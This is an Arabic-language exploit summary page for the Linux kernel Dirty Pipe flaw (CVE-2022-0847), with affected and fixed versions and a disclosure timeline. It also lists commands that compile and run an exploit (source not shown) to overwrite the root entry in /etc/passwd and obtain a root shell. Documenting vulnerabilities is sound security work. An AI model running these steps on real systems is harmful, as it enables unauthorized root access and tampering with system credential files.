CVE-2022-0847

معلومات

Exploit Title: Local Privilege Escalation in Linux kernel (CVE-2022-0847)
Date: 03/07/2022
Exploit Author: Max Kellermann <[email protected]>
Tested on: ubuntu 20.04.1 LTS
Affect product:Linux kernel 5.8 or later
Fixed Product:Linux kernel 5.16.11, 5.15.25, 5.10.102
CVE ID: CVE-2022-0847

كيفية الاستغلال

بيئة الاختبار：

رفع الامتيازات المحلية

cp /etc/passwd /tmp/passwd.bak
gcc exp.c -o exp
./exp /etc/passwd 1 ootz:
su rootz
id

المراجع

https://dirtypipe.cm4all.com/

الجدول الزمني

• 2021-04-29: أول تذكرة دعم حول تلف الملف
• 2022-02-19: تم تحديد مشكلة تلف الملف على أنها علة في نواة لينكس، والتي تبين أنها ثغرة قابلة للاستغلال
• 2022-02-20: تم إرسال تقرير الثغرة، الاستغلال، والتصحيح إلى Linux kernel security team
• 2022-02-21: تم إعادة إنتاج العلة على Google Pixel 6; تم إرسال تقرير الثغرة إلى فريق أمان أندرويد
• 2022-02-21: تم إرسال التصحيح إلى LKML (بدون تفاصيل الثغرة) كما اقترح Linus Torvalds وWilly Tarreau وAl Viro
• 2022-02-23: إصدارات مستقرة من لينكس مع تصحيح العلة الخاص بي (5.16.11, 5.15.25, 5.10.102)
• 2022-02-24: Google تدمج تصحيح العلة الخاص بي في نواة أندرويد
• 2022-02-28: تم إخطار القائمة البريدية linux-distros
• 2022-03-07: الكشف العام